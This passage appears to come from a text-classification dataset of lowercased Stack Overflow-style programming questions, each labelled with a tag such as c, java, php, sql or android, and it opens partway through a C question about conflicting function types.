capitalize)\n );        return f ;     } } </code></pre>   i get this error:   <pre><code>test2.c:40: error: conflicting types for âerror_areaâ test2.c:5: error: previous declaration of âerror_areaâ was here </code></pre>   i keep getting these error messages when i compile and i m sure i declared the prototype and its type at the beginning so i m not sure why there a conflict in types. one of my tutors told me that it was because it was declared and to define all the types at the bottom where i called error_area but that didn t seem to work.,c
how to call a python class instance from a list   i would like to be able to select the class  property by it s name. this is my code:   <pre><code>class example(object):     def __init__(self):         self.one =  1          self.two =  2   x = example() list = [ one    two ] # i want to get x.one here by referring to it by list[0] </code></pre>   how can i do this     worked example:   <pre><code>class example(object):     def __init__(self):         self.one =  one          self.two =  two       def test(self):         list = [ one    two ]         print(getattr(self  list[1]))  x = example()  x.test() </code></pre>,python
background-position value manipulation  i have a project where i am building slides described inside of an xml file but it requires to allow image positioning of the slides based on offset values.     now i have y offsets down pat  only problem now is that i require the ability to offset something in the x by an amount but still keep the % age value behavior.    so basically is there anyway to have background-position s x start at 50% and then offset it by a pixel amount and keep the relative behavior of the % age( 50% + offsetinpixels),css
how to properly declare a function in c++   i d like to declare a function in my <code>main.cpp</code>  so that my <code>main</code> function can be the first one in the file. it looks like this:    <code>main.cpp</code>   <pre class= lang-cpp prettyprint-override ><code> #include &lt;iostream&gt;  #include &lt;string&gt;  using namespace std;  string my_function(); int main () {     my_function();     return 0; } string my_function(string message =   ) {     string response;     cout &lt;&lt; message;     getline(cin response);     return response; } </code></pre>   however  when compiling i get an error:   <pre><code>/usr/bin/ld: /tmp/cco8jyj1.o: in function `main : main.cpp:(.text+0x1f): undefined reference to `my_function[abi:cxx11]()  collect2: error: ld returned 1 exit status [finished in 1.4s with exit code 1] </code></pre>   what is wrong,c++
how to update a table s column value from a different table s same column values   i have two tables.    template table.(<code>templ_id</code> and <code>obj_id</code> is primary key)   <pre><code>templ_id    obj_id  tp000002    pe554959 tp000003    pe555867 tp000006    pe555102 tp000009    pe554994 tp000009    pe554956 tp000009    pe555176 tp000009    pe555598 tp000009    pe555256 tp000010    pe555297 tp000010    pe555286 </code></pre>   business table.(<code>bsn_no</code> is primary key)   <pre><code>bsn_no    obj_id     templ_id 1         pe554959   null 2         pe555867   null 3         pe555102   null 4         pe554994   null 5         pe554956   null 6         pe555176   null 7         pe555598   null 8         pe555256   null 9         pe555297   null 10        pe555286   null </code></pre>   i want to update business tables <code>templ_id</code> from template table s <code>templ_id</code> based on the <code>obj_id</code> using a single update query.,sql
javascript self execution function query  i was going through some github library wherein i came across the following lines:   <pre><code>//util.js (function(exports global){   global[ true ] = exports;     use strict ;    ...rest of the code here           })({}  function() {     return this; }()); </code></pre>   the above file was directly included in index.html. i am aware of the concept of self-executing functions in js. but what purpose could the above provide,javascript
android application crashes app while using content provider. i.e. cursor class  android application crashes app while using content provider. i.e. cursor class    package com.example.avinash.contentprovider;   <pre><code>import android.database.cursor;  import android.net.uri;   import android.provider.contactscontract;  import android.support.v7.app.appcompatactivity; import android.os.bundle;  public class mainactivity extends appcompatactivity {  @override protected void oncreate(bundle savedinstancestate) {     super.oncreate(savedinstancestate);     setcontentview(r.layout.activity_main);      uri myuri= contactscontract.contacts.content_uri;      string[] proj=new string[]{             contactscontract.contacts.display_name_primary              contactscontract.contacts.content_item_type              contactscontract.contacts.display_name};       cursor c=getcontentresolver().query(myuri proj null null null);     } } </code></pre>,android
css: i don t have horizontal scroll but when i click and drag the page it goes left  i m developing a website and on its home page i have some sliders. when i use these sliders i used to get horizontal scroll. i managed to fix that using overflow-x:hidden; at the css for the body element.    my problem is that when i click and drag the page to the right the scrollbar doesn t appear  but the user have the same effect as if he was using the scrollbar.    i received the html/css from a third part front-end developer and i d prefer not to have to modify his css much.    would you have any tips to fix this behavior without having to do further changes in the html/css structure     thanks in advance for any help.,css
fail data with excel (float)  i generated excel with data from bd  all is correct a except the type float.    in my bd i have  3.2  but in my excell i have -> 3 20000004768372   <pre><code>    try {          xssfsheet sheet = workbook.createsheet(eyelash);         xssfdataformat format = workbook.createdataformat();         style.setdataformat(format.getformat( text )); //i need type text for others inputs in my excel         stylerow.setdataformat(format.getformat( text ));         string[] header = { width };         xssfrow rowhead = sheet.createrow((short) 0);         xssfcell cell;              int myrowdata = 1;             xssfrow row = sheet.createrow((short) myrowdata);              list&lt;myclass&gt; list = this.select();              for (int i = 0; i &lt; list.size(); i++) {                  row.createcell(0).setcellvalue(list.get(i).getwidth());                  myrowdata++;                 row = sheet.createrow((short) myrowdata);          }      } catch (exception ex) {} </code></pre>   class java->   <pre><code>public class myclass{   private float width;   public myclass(){}   public myclass(float width){    width=width;  }  public void setwidth(float width) {     this.width= width; }   public float getwidth() {     return width; }  </code></pre>   }    i can t use round because else never know width real.,java
rails how to bypass require in strong params  i want to pass params without required parameter like below.   <pre><code>def str_params   params.require(:user).permit(:id  :name) end </code></pre>   and pass param without user key     is there any way,ruby-on-rails
filewatcher creation event not fired  i wrote a filewatcher service for monitoring a directory recursively  and if there is .txt file contents change or new created .txt files in the directory  it will copy the file to an central folder. but i meet some problem in my program.    whenever there is a .txt file contents change  my program works well. however  when there is a new .txt file created in the directory  the created event never fired. below is my code  could you please help me with this problem  thanks in advance!   <pre><code>using system; using system.collections.generic; using system.componentmodel; using system.data; using system.diagnostics; using system.linq; using system.serviceprocess; using system.text; using system.threading.tasks; using system.io;  namespace filewatcher {     public partial class filewatcher : servicebase     {         private string des = @ c:\b ;         private filesystemwatcher watcher;         public filewatcher()         {             initializecomponent();             watcher = new filesystemwatcher();         }          protected override void onstart(string[] args)         {               watcher.path = @ c:\a ;             /* watch for changes in lastaccess and lastwrite times  and                the renaming of files or directories. */             watcher.notifyfilter = notifyfilters.size | notifyfilters.lastwrite;              // only watch text files.             watcher.filter =  *.txt ;              // add event handlers.             watcher.changed += new filesystemeventhandler(onchanged);             watcher.created += new filesystemeventhandler(oncreated);               // begin watching.             watcher.includesubdirectories = true;             watcher.enableraisingevents = true;         }         private void onchanged(object sender  filesystemeventargs e) {              string filename = path.getfilename(e.name);             string destfile = system.io.path.combine(des  filename);             using (system.io.streamwriter f = new system.io.streamwriter(@ c:\log.txt   true))             {                 f.writeline(filename);             }               using (system.io.streamwriter f = new system.io.streamwriter(@ c:\log.txt   true))             {                 f.writeline(destfile);             }              system.io.file.copy(e.fullpath  destfile  true);          }          private void oncreated(object sender  filesystemeventargs e) {             using (system.io.streamwriter f = new system.io.streamwriter(@ c:\log.txt   true))             {                 f.writeline( create new );             }              fileattributes attr = file.getattributes(e.fullpath);             //detect whether its a directory or file             if ((attr &amp; fileattributes.directory) == fileattributes.directory) {                 foreach (string file in directory.getfiles(e.fullpath))                 {                     var eventargs = new filesystemeventargs(                         watcherchangetypes.created                          path.getdirectoryname(file)                          path.getfilename(file));                     oncreated(sender  eventargs);                 }               }             else {                 string filename = e.name;                 string destfile = system.io.path.combine(des  filename);                 system.io.file.copy(e.fullpath  destfile  true);             }           }           protected override void onstop()         {          }     } } </code></pre>,c#
custom popup dialog asp.net  i d like to create email dialog that has several inputs including message textbox plus some other custom info. i d like it to display center screen over top of main page setting the opacity to like 50%.     do i create the pop up as anohter aspx page or panel     not sure what to use here  z-index  modalpopupextender  javascript  jquery. looking for easy and something stable.,asp.net
simplifying mysql query with multy union and stored values  sample db in dbfiddle: <a href= https://www.db-fiddle.com/f/3pxtbtrffm1mpcwetw4xrd/0  rel= nofollow noreferrer >https://www.db-fiddle.com/f/3pxtbtrffm1mpcwetw4xrd/0</a>    i several query part that list the items old and new values then creates a summary and average. currently the query needs to be executed per every set variable and then the query it self.     q1) is it possible to set the <code>@min @t and @n</code> within the select union query     q2) the average calculations apply decimal places to all values within the column. is it possible to only apply the decimals to average row     q3) can the query be optimized     query:    <pre><code>set @min = 10; set @t = -1; set @n = -2; select s.name      sum(case when v.type =  total  then v.value end) as  old       sum(case when v.type =  new  then v.value end) as  new  from sample as s  `values` as v where s.id = v.sample_id and v.value &gt;= @min group by s.name union select  sum       @t:= sum(if (v.type =  total   v.value  0))  as  t        @n:= sum(if (v.type =  new   v.value  0))  as  n  from sample as s  `values` as v where s.id = v.sample_id and v.value &gt;= @min union select  average   truncate(@n/(@t+@n)*100 2) 0; </code></pre>   result:   <pre><code>+---------+--------+------+ | name    | old    | new  | +---------+--------+------+ | canoon  | 100.00 |   40 | | epson   |  70.00 |   10 | | sum     | 170.00 |   50 | | average |  22.72 |    0 | +---------+--------+------+ </code></pre>,mysql
new relic for rails production  i tried to apply new relic to my rails application in digitalocean vps. but it seemed not working. i waited in new relic and didn t see any data transfer through the new relic dashboard.    here is my new_relic.yml <a href= https://gist.github.com/phuong3030/8859addbb8d097ad6cd4  rel= nofollow >https://gist.github.com/phuong3030/8859addbb8d097ad6cd4</a>    thank for helping!,ruby-on-rails
colspan spanning 2.5 columns   i have a table with 5 columns. the final row should have two cells  spaced equally.     ideally  i would like to use <code>&lt;td colspan= 2.5 &gt;</code> - whats the most elegant way to do this     the table has a border of 1  so using     <pre><code>&lt;td colspan=2 &gt;abc&lt;/td&gt; &lt;td&gt;&lt;/td&gt; &lt;td colspan=2 &gt;def&lt;/td&gt; </code></pre>   looks ugly,html
ruby on rails - undefined local variable or method (strong parameters)  my app is using rails 4.1.8 and i use simple form gem. i get the undefined local variable or method error on the strong parameter definition under <code>private</code> and i don t understand the cause of this.    <strong>_form.haml.html</strong>   <pre><code>= simple_form_for @recipe  html: { multipart: true } do |f|     - if @recipe.errors.any          #errors             %h2                 = pluralize(@recipe.errors.count   error )                  prohibited this recipe from being saved             %ul                 - @recipe.errors.full_messages.each do |msg|                     %li= msg      = f.input :title     = f.input :serving     = f.input :prep     = f.input :cook       = f.button :submit </code></pre>   <strong>controller</strong>   <pre><code>class recipescontroller &lt; applicationcontroller   def create     @recipe = recipe.new(recipe_params)     if @recipe.save        redirect_to @recipe  notice:  successfully created      else       render  new      end      private      def recipe_params       params.require(:recipe).permit(:title  :serving  :prep  :cook)     end    end end </code></pre>   <img src= https://i.stack.imgur.com/b8cin.png  alt= enter image description here >    and the submit button takes me to index route <code>http://localhost:3000/recipes</code> rather than  show <code>http://localhost:3000/recipes/1</code>,ruby-on-rails
mysql query: get data in specific interval  i have a mysql table with one datetime column. i want to prevent that the php-script gets to much data. so i m searching for a solution that a mysql query only selects rows which have a distance of 1 minute or whatever. is there something simple or do i have to code a for-loop with a new mysql query every time.   <pre><code>example  timestamp 2012-09-25 00:00:00--&gt; 2012-09-25 00:00:50 2012-09-25 00:01:23 2012-09-25 00:01:30--&gt; 2012-09-25 00:02:33 2012-09-25 00:02:40 2012-09-25 00:03:01--&gt;i want those </code></pre>   thanks in advance,mysql
when using an expression  is there a way to... not replace the previous value   i know that by doing   <pre><code>{{bubba}} </code></pre>   will output the bubba value in the current scope  but can i have the expression not... do anything (not update the dom) based on a value  essentially  what i m trying to accomplish is if the value is false  show the previous value.   <pre><code>{{!bubba   dontdisplayevalutedexpression : bubba}} </code></pre>   adding a plunker as an example:    <a href= http://plnkr.co/edit/yyy62x2ak2ridcuxwtak  rel= nofollow >http://plnkr.co/edit/yyy62x2ak2ridcuxwtak</a>,angularjs
pulling usable text from url like pocket and instapaper  i know that this question has been posed for c# and possibly other languages but i haven t found one for objective-c (xcode)    the c# question can be found here <a href= https://stackoverflow.com/questions/12239128/how-to-extract-article-text-contents-from-html-page-like-pocket-read-it-later  title= c# version >c# version</a>     im looking to be take any url (nsurl or nsstring) and convert that webpages contents into.    1) the title of that webpage (new article title)    2) the image for that article (first major image)    3) the article text itself (pure text  no ads)    those are the 3 major things. id also like to have the    1) author     2) date updated    3) website that posted the article     but those are not as important.     the way i have my code set up to parse the actual article (which doesn t do the job i want exactly) is:   <pre><code>- (void)viewdidload {     [super viewdidload];     nsurlrequest *request = [nsurlrequest requestwithurl:finalurl];  [self.webview loadrequest:request];  }  - (void)webviewdidfinishload:(uiwebview *)webview {     nsstring *fullarticle = [self.webview stringbyevaluatingjavascriptfromstring:@ document.body.innertext ];     self.story.text = fullarticle;     nslog(@ article:  %@  fullarticle); } </code></pre>   finalurl being a nsurl variable.    the nslog shows all the text from the inner body of the webpage but includes a lot of extra  garbage  that i don t want  it also doesn t give back the title  images or anything else that i wanted.     so how can this be done in objective-c  i know that pocket does it very well in there app.,objective-c
insert form action link based on radio select field  i have a simple form field with two different radio select field:   <pre><code>&lt;form method= get  id= searchform  action= &lt; php $btn_link;  &gt; &gt;   &lt;div class= alternativ-suchefeld &gt;     &lt;div class= radioboxarea &gt;       &lt;input type= radio  name= buttonname  value= value_button_1  checked&gt;       button 1&lt;/div&gt;     &lt;div class= radioboxarea &gt;       &lt;input type= radio  name= buttonname  value= value_button_2  &gt;       button 2&lt;/div&gt;     &lt;input type= submit  id= searchsubmit  value= search   /&gt;   &lt;/div&gt; &lt;/form&gt; </code></pre>   if i m choosing  button 1  and submit  the action link  $btn_link  should be  link1.php .  if  button 2  is selected  the action link should be called  link2.php .     has someone an idea  how to realize this   thank you!,php
istream vs memory mapping a file   i am trying to map a file to memory and then parse line by line- is istream what i should be using      is istream the same as mapping a file to memory on windows  i have had difficulties trying to find a complete example of mapping a file into memory.    i have seen people link memory mapping articles from msdn  but if anybody could recommend a small (~15 line ) example i would be most thankful.    i must be searching for the wrong thing  but when searching  c++ memory mapping example  on google  i could not find an example that included iterating through.     these were the closest results (just so people realize i <em>have</em> looked):   <ul> <li><a href= http://www.open-std.org/jtc1/sc22/wg21/docs/papers/2006/n2044.html#classsharedmemoryobjectexample  rel= nofollow noreferrer >http://www.open-std.org/jtc1/sc22/wg21/docs/papers/2006/n2044.html#classsharedmemoryobjectexample</a></li> <li><a href= http://msdn.microsoft.com/en-us/library/dd997372.aspx  rel= nofollow noreferrer >http://msdn.microsoft.com/en-us/library/dd997372.aspx</a> (no c++ code)</li> <li><a href= https://beej.us/guide/bgipc/html/multi/mmap.html  rel= nofollow noreferrer >https://beej.us/guide/bgipc/html/multi/mmap.html</a> (was for unix i believe  not windows)</li> </ul>,c++
understanding the difference between setting two nodes equal to each other vs nodes pointing to another node   ive been trying to understand the basics of linked lists and i am having trouble interpreting this code:   <pre><code>1 private node head = null; 2 3 node prev = null; 4 node curr = head; 5 while (curr != null) { 6   prev = curr; 7   curr = curr.link;  } </code></pre>   this small chunk of code is part of code that is looking through a linked list of words. so my question is that for line 6  is the node of prev linking to curr or is the value of curr equal to prev  also  im not sure what is going on in line 7     thanks!,java
php global not available in function  i set up my global like this:   <pre><code>require( ../scripts/mysql_db.php ); $db = new mysql_db(); $connectid = $db-&gt;sql_connect($mysql_host  $mysql_user   $mysql_password  $mysql_database); </code></pre>   i then use <code>$db</code> throughout like this:   <pre><code>$query1 = $db-&gt;query( select .... ); </code></pre>   however i wrote a function to use <code>$db</code> and its not accessible for some reason:   <pre><code>function deletependingrow($aokreason  $afailreason) {     $query99 = $db-&gt;query( delete ..... ); } </code></pre>   i think this is a basic php thing  can someone help me understand why.    the <code>mysql_db</code> is here: <a href= https://github.com/noitidart/mailtowebmails-backend/blob/master/scripts/mysql_db.php  rel= nofollow >https://github.com/noitidart/mailtowebmails-backend/blob/master/scripts/mysql_db.php</a>    thanks    edit: i tried this:   <pre><code>function deletependingrow($aokreason  $afailreason) use ($db  $rowpending) { </code></pre>   it doesnt seem to work it tells me <code>parse error: syntax error  unexpected t_use  expecting  { </code>    edit 2:    i also tried this:   <pre><code>$deletependingrow = function($aokreason  $afailreason) use ($db  $rowpending) {  }; </code></pre>   but this throws <code>parse error: syntax error  unexpected t_function in /home/a1304271/public_html/ajax/approve_pending.php</code>,php
cannot redeclare function previously declared  declared only once  i m running into a problem including this function from another file   <pre><code>function sendres($s_attachment) //this is line 3 {    /*snip : processing message details..*/      try {         mail($to  $subject  $message  $headers);     } catch (exception $e) {         logmessage( an error occured:  . $e-&gt;getmessage());     } } //this is line 54 </code></pre>   when running the script  it outputs the following error   <blockquote>    fatal error: cannot redeclare sendres() (previously declared in   **********\email.php:3) in ***********\email.php on line 54  </blockquote>   but it s declared only once  i checked that the file is included only once too. and the file contains only this function.    any clues about why this isn t working,php
is it possible to compile results into unique lists from inside of a comprehension   the context is splitting a list of integers into their own even and odd lists.    <pre><code>    even = []     odd = []     for i in my_list:         if i % 2 == 0:             even.append(i)         else:             odd.append(i) </code></pre>   is there a way to turn the above into a nice  compact list comprehension..,python
error in creating horizontal scroll view   i am working in android  i want to make a scrollview.  this is my code for that :   <pre><code>package com.pericent;  import android.app.activity; import android.app.tabactivity; import android.content.intent; import android.content.res.resources; import android.os.bundle; import android.util.log; import android.view.viewgroup.layoutparams; import android.widget.horizontalscrollview; import android.widget.linearlayout; import android.widget.tabhost; import android.widget.textview;  public class hellotabwidget extends activity  {      private string tag= hellotabwidget ;        public void oncreate(bundle savedinstancestate) {         super.oncreate(savedinstancestate);          log.v(tag  i am just before everything );         horizontalscrollview hr=new horizontalscrollview(this);         hr.setlayoutparams(new layoutparams(layoutparams.fill_parent layoutparams.fill_parent));         linearlayout layout=new linearlayout(this);         linearlayout mainlayout=new linearlayout(this);         mainlayout=(linearlayout)findviewbyid(r.id.upper1);         layout.setlayoutparams(new layoutparams(layoutparams.fill_parent layoutparams.wrap_content));         log.v(tag  i am just after the declarations );         for(int i=0;i&lt;100;i++){             textview txt=new textview(this);             txt.settext( text   + i );             layout.addview(txt);         }         log.v(tag  i am after the for loop );         hr.addview(layout);          mainlayout.addview(hr);//&lt;&lt;---this is creating nullpointerexception         setcontentview(r.layout.cecking);         log.v(tag  i am after the everything );    } } </code></pre>   and this my cecking.xml   <pre><code>&lt; xml version= 1.0  encoding= utf-8  &gt; &lt;linearlayout xmlns:android= http://schemas.android.com/apk/res/android       android:layout_width= fill_parent  android:layout_height= fill_parent  android:id= @+id/upper1 &gt;  &lt;/linearlayout&gt; </code></pre>   whenever i run the program  this error is occurred:-   <pre><code>unable to start activity componentinfo{com.pericent/com.pericent.hellotabwidget}: java.lang.nullpointerexception </code></pre>   and in this line the error is occurred:- <strong>mainlayout.addview(hr);</strong>    please help me to find out the reason of error. thank you in advance.,android
interface with paypal <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/638114/how-can-i-integrate-paypal-with-asp-net >how can i integrate paypal with asp.net </a>    </blockquote>     maybe someone can help me  i need to interface with paypal and have no idea how to write such code  if possible explanation  sorry i do not speak english so it s hard for me. thanks in advance!,asp.net
new to java and have the error  int cannot be dereferenced   i m new to java and i ve been working on this exercise for a while  but keep receiving the error: int cannot be dereferenced. i saw couple of similar questions but still cannot figure out my own case.  here is the complete codes:   <pre><code>package inclass;  class oneint {   int n;    oneint(int n) {     this.n = n;   }    @override public boolean equals(object that) {     if (that instanceof oneint) {         oneint thatint = (oneint) that;         return n.equals(thatint.n); // error happens here     } else {         return false;     }   }    public static void main(string[] args) {     object c = new oneint(9);     object c2 = new oneint(9);     system.out.println(c.equals(c2));     system.out.println(c.equals( doesn t work ));   }  } </code></pre>   thank you very much for helping me with this little trouble.,java
routing error uninitialized constant rails  when i click this link on a page <code>&lt;%= link_to  submit an application   new_s_n_d_sub_path %&gt;</code> it is giving me the following error:    <strong>routing error uninitialized constant sndsubscontroller</strong>    this is a simple thing  but i m not sure where i m messing up.     i have the <code>s_n_d_subs_controller.rb</code> file with:   <pre><code>class sndsubscontroller &lt; applicationcontroller  def new    ... end </code></pre>   within views i have the file: <code>s_n_d_subs/new.html.erb</code>    within routes i have <code>resources :s_n_d_subs</code>    rake routes:   <pre><code>    s_n_d_subs get    /s_n_d_subs(.:format)          s_n_d_subs#index                post   /s_n_d_subs(.:format)          s_n_d_subs#create  new_s_n_d_sub get    /s_n_d_subs/new(.:format)      s_n_d_subs#new edit_s_n_d_sub get    /s_n_d_subs/:id/edit(.:format) s_n_d_subs#edit      s_n_d_sub get    /s_n_d_subs/:id(.:format)      s_n_d_subs#show                patch  /s_n_d_subs/:id(.:format)      s_n_d_subs#update                put    /s_n_d_subs/:id(.:format)      s_n_d_subs#update                delete /s_n_d_subs/:id(.:format)      s_n_d_subs#destroy           root get    /                              welcome#index </code></pre>   what am i missing,ruby-on-rails
do events manually in javascript  is it possible to execute dom events manually  for example  if you have a link and want to call the default event function of it through code:   <pre><code>&lt;a href= one.html  id= a &gt;main page&lt;\a&gt; </code></pre>  <pre><code>document.getelementbyid( a ).onclick(); </code></pre>,javascript
how to render multiple js.erb files in same method in rails  <pre><code>   def react  @postsalpha = @user.find(params[:liked_post]).page(params[:page])     @postsbeta = @user.find(params[:disliked_post]).page(params[:page]) end </code></pre>   so i am trying to make @postsalpha to render alpha.js.erb for pagination and <code>@postsbeta</code> to render    <pre><code>beta.js.erb   &lt;% @postsalpha.each do |x| %&gt; &lt;% x.body %&gt; &lt;% end %&gt; &lt;%= paginate @postsalpha %&gt; &lt;% @postsbeta.each do |u| %&gt; &lt;% x.content %&gt; &lt;% end %&gt; &lt;%= paginate @postsbeta %&gt; </code></pre>,ruby-on-rails
multiples validation into ng-disabled dont work  i am trying to validate all fields of a form with angularjs 1.5  validation requires  full fields  and enable buttons in case these fields are full  i have already checked several operators but this does not work well  <code>ng-disabled =  ! ( var1 &amp;&amp; var2 &amp;&amp; var3 &amp;&amp; var4)  </code>. i need your help please leave reference code.    thank you very much    angularjs: <strong>1.5.11</strong>    <a href= https://plnkr.co/edit/l6f6fkulnqoxuhhypga0  rel= nofollow noreferrer >code example</a>,angularjs
remove a line that contains a specific character  i have a text file structured like this  this is just a sample:   <pre><code># timestamp  x  y  mac address of ap  rss 1395422922871 6.241992473602295 0.9473437666893005 00:1a:1e:85:a4:01 -77 1395422922871 6.241992473602295 0.9473437666893005 00:1a:1e:85:a4:02 -77 1395422922871 6.241992473602295 0.9473437666893005 00:1a:1e:8e:e9:a2 -72 1395422922871 6.241992473602295 0.9473437666893005 00:1a:1e:87:04:c2 -69 1395422922871 6.241992473602295 0.9473437666893005 00:1a:1e:87:04:d1 -86 1395422922871 6.241992473602295 0.9473437666893005 00:1a:1e:87:04:d2 -87 1395422922871 6.241992473602295 0.9473437666893005 00:1a:1e:85:a4:12 -96 1395422922871 6.241992473602295 0.9473437666893005 00:1a:1e:87:03:f1 -65 1395422922871 6.241992473602295 0.9473437666893005 00:1a:1e:87:03:f2 -67 1395422922871 6.241992473602295 0.9473437666893005 00:1a:1e:87:03:e2 -61 1395422922871 6.241992473602295 0.9473437666893005 00:1a:1e:84:92:12 -95 1395422922871 6.241992473602295 0.9473437666893005 00:1a:1e:85:a4:00 -77 1395422922871 6.241992473602295 0.9473437666893005 00:1a:1e:87:04:d0 -87 1395422922871 6.241992473602295 0.9473437666893005 00:1a:1e:87:03:f0 -70 1395422922871 6.241992473602295 0.9473437666893005 00:1a:1e:8e:e9:b1 -90 1395422922871 6.241992473602295 0.9473437666893005 00:1a:1e:8e:e9:b2 -92 1395422922871 6.241992473602295 0.9473437666893005 00:1a:1e:8e:e9:b0 -91 </code></pre>   i would like to write a java program that searches for the following characters: 00:1a:1e:85:a4:00 and 00:1a:1e:87:04:d0 and removes the lines that containes those characters.    i have the following program:   <pre><code>public class extract {     public static void main (string[] args) throws java.lang.exception     {     file inputfile = new file( myfile.txt );     file tempfile = new file( mytempfile.txt );      bufferedreader reader = new bufferedreader(new filereader(inputfile));     bufferedwriter writer = new bufferedwriter(new filewriter(tempfile));      string linetoremove =  00:1a:1e:87:04:d0 ;     string currentline;      while((currentline = reader.readline()) != null) {         // trim newline when comparing with linetoremove         string trimmedline = currentline.trim();         if(trimmedline.equals(linetoremove)) continue;         writer.write(currentline);     }      writer.close();     boolean successful = tempfile.renameto(inputfile);     }  } </code></pre>   but it can only remove the characters that matches the entire line and the output file is contained in just one line  do you have any recommendations on what do i have to modify to obtain the desired output,java
quadratic equation in c  here is a program that i m trying to fix. i entered 1 5 6 and there should be 2 solutions and it said only 1 solution exists. i m also trying to make it display decimal values(should i use double ). below is my code  what am i doing wrong    <pre><code>#include &lt;stdio.h&gt; #include &lt;math.h&gt;  int main(void) {     int inputs[3]  a  b  c  d  x  x1  x2  i  lastdigit;     char *os  *nosol =  no solution\n   *cont =  y ;      while (cont ==  y  || cont ==  y )     {         printf( this program solves a quadratic equation\n );         for (i = 1; i &lt;= 3; i++)         {              lastdigit = i % 10;             if (i &gt;= 4 &amp;&amp; i &lt;= 20)                 os =  th ;             if (i == 1 || lastdigit == 1)                 os =  st ;             else if (i == 2 || lastdigit == 2)                 os =  nd ;             else if (i == 3 || lastdigit == 3)                 os =  rd ;             else                 os =  th ;               printf( enter your %d%s number:    i  os);             scanf( %d   &amp;inputs[i - 1]);         }          a = inputs[0];         b = inputs[1];         c = inputs[2];          while (1)         {             if (a == 0)             {                 if (b == 0)                 {                     printf(nosol);                     break;                 }                 else                 {                     x = -c / b;                     printf( the equation is not quadratic and the solution is %d\n   x);                     break;                 }             }             else             {                 d = pow(b  2) - 4 * a * c;                 if (d &lt; 0)                 {                     printf(nosol);                     break;                 }                 else if (d == 0)                 {                     x1 = -b / 2 * a;                     printf( one solution: %d\n   x1);                     break;                 }                 else  if (d &gt; 0)                 {                     x1 = (-b + sqrt(d)) / 2 * a;                     x2 = (-b - sqrt(d)) / 2 * a;                     printf( two solutions: %d and %d\n   x1  x2);                     break;                 }             }         }          printf( run program second time  ( y / n )\n );         scanf( %s   &amp;cont);     }     getch();   } </code></pre>,c
unsure what this is displaying <pre><code>select mvid from genreinfo where genre= drama   and mvid in ( select mvid from genreinfo where genre !=  drama ); </code></pre>   i m just checking will my code output all movies that are exclusively dramas and all movies that are exclusively not dramas,sql
http post request with two images files  i have a problem. i need to send 2 jpg files to a server. i have to make a post request with a body like that:    body:     front:  image file     reverse:  image file    how can i make this post request with this two parameters     i have a try with one parameter:   <pre><code>    static nsstring *boundary = @ ---------------------------14737809831466499882746641449 ;     uiimage *img = [[uiimage alloc] init];     img = [uiimage imagenamed:@ tarjetaprueba.jpg ];     nsdata *imagedata = [nsdata datawithdata:uiimagejpegrepresentation(img  1.0)];       nsmutabledata *postbody = [nsmutabledata data];     [postbody appenddata:[[nsstring stringwithformat:@ --%@\r\n  boundary] datausingencoding:nsutf8stringencoding]];     [postbody appenddata:[[nsstring stringwithformat:@ content-disposition: form-data; name=\ front\ ; \r\n ] datausingencoding:nsutf8stringencoding]];     [postbody appenddata:[@ content-type: application/octet-stream\r\n\r\n  datausingencoding:nsutf8stringencoding]];     [postbody appenddata:imagedata];     [postbody appenddata:[[nsstring stringwithformat:@ --%@--\r\n  boundary] datausingencoding:nsutf8stringencoding]];     [request sethttpbody:postbody]; </code></pre>   it is not working...why  i don´t know...    thanks for the help.,objective-c
how to use highcharts in asp.net mvc 4  i m new in highcharts. i try to use it in my asp.net mvc 4 project. i want to pass information relative to charts from controller to view. i ve used session to pass differents categories  the chart appear but without categories. is there any solution to pass information from controller to view     this is part of my code:     view:   <pre><code>        &lt;script type= text/javascript &gt;          $(function () {              $( #divstat ).highcharts({                 chart: {                     type:  bar                  }                  title: {                     text:  historic world population by region                  }                  subtitle: {                     text:                    }                  xaxis: {                      categories:  @session[ affiche ]                       title: {                         text: null                     }                 }                        [...]                  });      &lt;/script&gt; </code></pre>   controller:   <pre><code>    public actionresult stat()       {                      string[] list = new string[5];          list[0] =  africa ;          list[1] =  america ;          list[2] =  asia ;          list[3] =  europe ;          list[4] =  oceania ;                        session[ affiche ] = list;          return partialview( charts );     } </code></pre>,asp.net
how to get a number key pad with a point in iphone  hi i am using the following code for a text box   <pre><code>uitextfield *txt_field = [[uitextfield alloc] initwithframe:frame];  [txt_field setkeyboardtype: uikeyboardtypenumberpad]; </code></pre>   now when i click on the text field  a number pad comes up which dont have a decimal point option. i want a text field with just number pad where user can enter the number in decimal point also. i know i can use other pads but i dont want to allow user to have access to any other character keys other than number and a point. is it possible.    tnx,iphone
why the objective c method still can be invoked when object was released   class definition:   <pre><code>#import  myclass.h    @implementation myclass  - (id)init {     self = [super init];     if (self) {         // initialization code here.     }      return self; }  - (void)dealloc {     [super dealloc]; }  - (void)print {     nslog(@ hello world );  }  @end </code></pre>   and main file:   <pre><code>myclass * m = [[myclass alloc]init]; [m print];  [m release];  [m print]; </code></pre>   result:    hello world    hello world    why the 2nd method still invoked when object is released,objective-c
codekata to convert number from hex to dec integer representation  i am writing a small program convert hex representation of a string   it is a kata to improve my skills.    this is what i have come up with   <pre><code>std::vector&lt;int&gt; decimal( std::string const &amp; s ) {  auto getint = [](char const k){ switch(k){ case  f : return 15; case  e : return 14; case  d : return 13; case  c : return 12; case  b : return 11; case  a : return 10; case  9 : return 9; case  8 : return 8; case  7 : return 7; case  6 : return 6; case  5 : return 5; case  4 : return 4; case  3 : return 3; case  2 : return 2; case  1 : return 1; case  0 : return 0; };  std::vector&lt;int&gt; result;  for( auto const &amp; k : s ) { result.push_back(getint(k)); }  return result;  } </code></pre>   i was wondering if there in another way to do this. i have considered to use something as an std::map as well  but i am uncertain which one might be faster. if there is another way to do this please add it.     please keep in mind that i am doing this as a code-kata to improve my skills  and learn.    thanks and tia!,c++
android:how to change the background color of the options menu when selected   i have created an an options menu in my application. i want to change the background color of the menu item selected. please help me doing this.,android
is there a benefits of using closures in this case  here in this code is used closure:   <pre><code>window.onload = function() {     var output = document.getelementbyid( output );     var closure = myclosure();     output.innerhtml = closure();      window.settimeout(function() {         output.innerhtml +=  &lt;br /&gt;  + closure();     }  500); }  function mynonclosure() {     var date = new date();     return date.getmilliseconds(); }  function myclosure() {     var date = new date();      return function() {         return date.getmilliseconds();     } } </code></pre>   i am just wondering what are benefits of using closure version of function against non-closure function     <pre><code>output.innerhtml = mynonclosure(); </code></pre>,javascript
